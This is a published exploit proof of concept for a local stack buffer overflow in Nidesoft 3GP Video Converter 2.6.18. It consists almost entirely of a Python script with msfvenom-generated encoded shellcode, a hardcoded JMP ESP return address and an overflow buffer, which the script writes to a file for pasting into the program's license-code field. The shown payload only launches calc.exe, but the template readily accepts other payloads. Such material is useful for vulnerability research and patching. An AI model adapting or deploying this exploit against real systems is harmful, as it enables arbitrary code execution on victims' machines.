nidesoft 3gp video converter 2.6.18 local stack buffer overflow

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nidesoft 3gp video converter 2.6.18 local stack buffer overflow Code Code...
				
# Exploit Title: Nidesoft 3GP Video Converter 2.6.18 - Local Stack Buffer Overflow # Date: 2020-07-30 # Author: Felipe Winsnes # Software Link: http://www.nidesoft.com/downloads/3gp-video-converter.exe # Version: 2.6.18 # Tested on: Windows 7 (x86) # Blog: https://whitecr0wz.github.io/ # Proof of Concept: # 1.- Run the python script, it will create the file "poc.txt". # 2.- Copy the content of the new file "poc.txt" to clipboard. # 3.- Open the application. # 4.- Paste the clipboard into the "License Code" parameter within registration. # 5.- Profit. import struct # msfvenom -p windows/exec CMD=calc.exe -f py -e x86/alpha_mixed EXITFUNC=thread # Payload size: 448 bytes buf = b"" buf += b"\x89\xe3\xdb\xd3\xd9\x73\xf4\x5e\x56\x59\x49\x49\x49" buf += b"\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43" buf += b"\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41" buf += b"\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42" buf += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x59\x6c\x48\x68\x6d" buf += b"\x52\x43\x30\x57\x70\x33\x30\x65\x30\x6c\x49\x78\x65" buf += b"\x70\x31\x6f\x30\x51\x74\x6e\x6b\x50\x50\x34\x70\x6c" buf += b"\x4b\x73\x62\x76\x6c\x4c\x4b\x52\x72\x45\x44\x6e\x6b" buf += b"\x44\x32\x71\x38\x56\x6f\x6e\x57\x32\x6a\x31\x36\x55" buf += b"\x61\x49\x6f\x6e\x4c\x45\x6c\x30\x61\x61\x6c\x53\x32" buf += b"\x54\x6c\x47\x50\x6a\x61\x78\x4f\x74\x4d\x53\x31\x69" buf += b"\x57\x6a\x42\x4b\x42\x43\x62\x53\x67\x6c\x4b\x50\x52" buf += b"\x52\x30\x6c\x4b\x50\x4a\x55\x6c\x4e\x6b\x42\x6c\x36" buf += b"\x71\x44\x38\x5a\x43\x30\x48\x73\x31\x6a\x71\x63\x61" buf += b"\x6e\x6b\x56\x39\x35\x70\x37\x71\x68\x53\x4c\x4b\x71" buf += b"\x59\x35\x48\x58\x63\x74\x7a\x32\x69\x4c\x4b\x65\x64" buf += b"\x4c\x4b\x77\x71\x4a\x76\x65\x61\x79\x6f\x4e\x4c\x4b" buf += b"\x71\x48\x4f\x46\x6d\x67\x71\x78\x47\x37\x48\x39\x70" buf += b"\x72\x55\x39\x66\x45\x53\x61\x6d\x38\x78\x37\x4b\x73" buf += b"\x4d\x77\x54\x32\x55\x6d\x34\x63\x68\x6e\x6b\x30\x58" buf += b"\x45\x74\x65\x51\x6e\x33\x51\x76\x6c\x4b\x64\x4c\x72" buf += b"\x6b\x6c\x4b\x63\x68\x67\x6c\x47\x71\x4b\x63\x6c\x4b" buf += b"\x43\x34\x6e\x6b\x77\x71\x7a\x70\x4d\x59\x73\x74\x47" buf += b"\x54\x74\x64\x53\x6b\x51\x4b\x61\x71\x51\x49\x30\x5a" buf += b"\x73\x61\x6b\x4f\x79\x70\x61\x4f\x43\x6f\x70\x5a\x4c" buf += b"\x4b\x77\x62\x5a\x4b\x4e\x6d\x71\x4d\x72\x4a\x53\x31" buf += b"\x4e\x6d\x4c\x45\x6c\x72\x33\x30\x65\x50\x37\x70\x76" buf += b"\x30\x51\x78\x76\x51\x4e\x6b\x32\x4f\x6e\x67\x59\x6f" buf += b"\x58\x55\x6f\x4b\x49\x70\x77\x6d\x47\x5a\x75\x5a\x72" buf += b"\x48\x4d\x76\x6c\x55\x4f\x4d\x6f\x6d\x69\x6f\x49\x45" buf += b"\x57\x4c\x63\x36\x43\x4c\x54\x4a\x4f\x70\x79\x6b\x39" buf += b"\x70\x64\x35\x43\x35\x6f\x4b\x37\x37\x64\x53\x72\x52" buf += b"\x52\x4f\x61\x7a\x45\x50\x63\x63\x79\x6f\x6b\x65\x35" buf += b"\x33\x63\x51\x32\x4c\x61\x73\x54\x6e\x75\x35\x72\x58" buf += b"\x43\x55\x63\x30\x41\x41" jmpesp = struct.pack("<I", 0x66C33BEB) buffer = "A" * 4592 + jmpesp + "\x41\x49" * 5 + buf + "\xff" * 2000 f = open ("poc.txt", "w") f.write(buffer) f.close()


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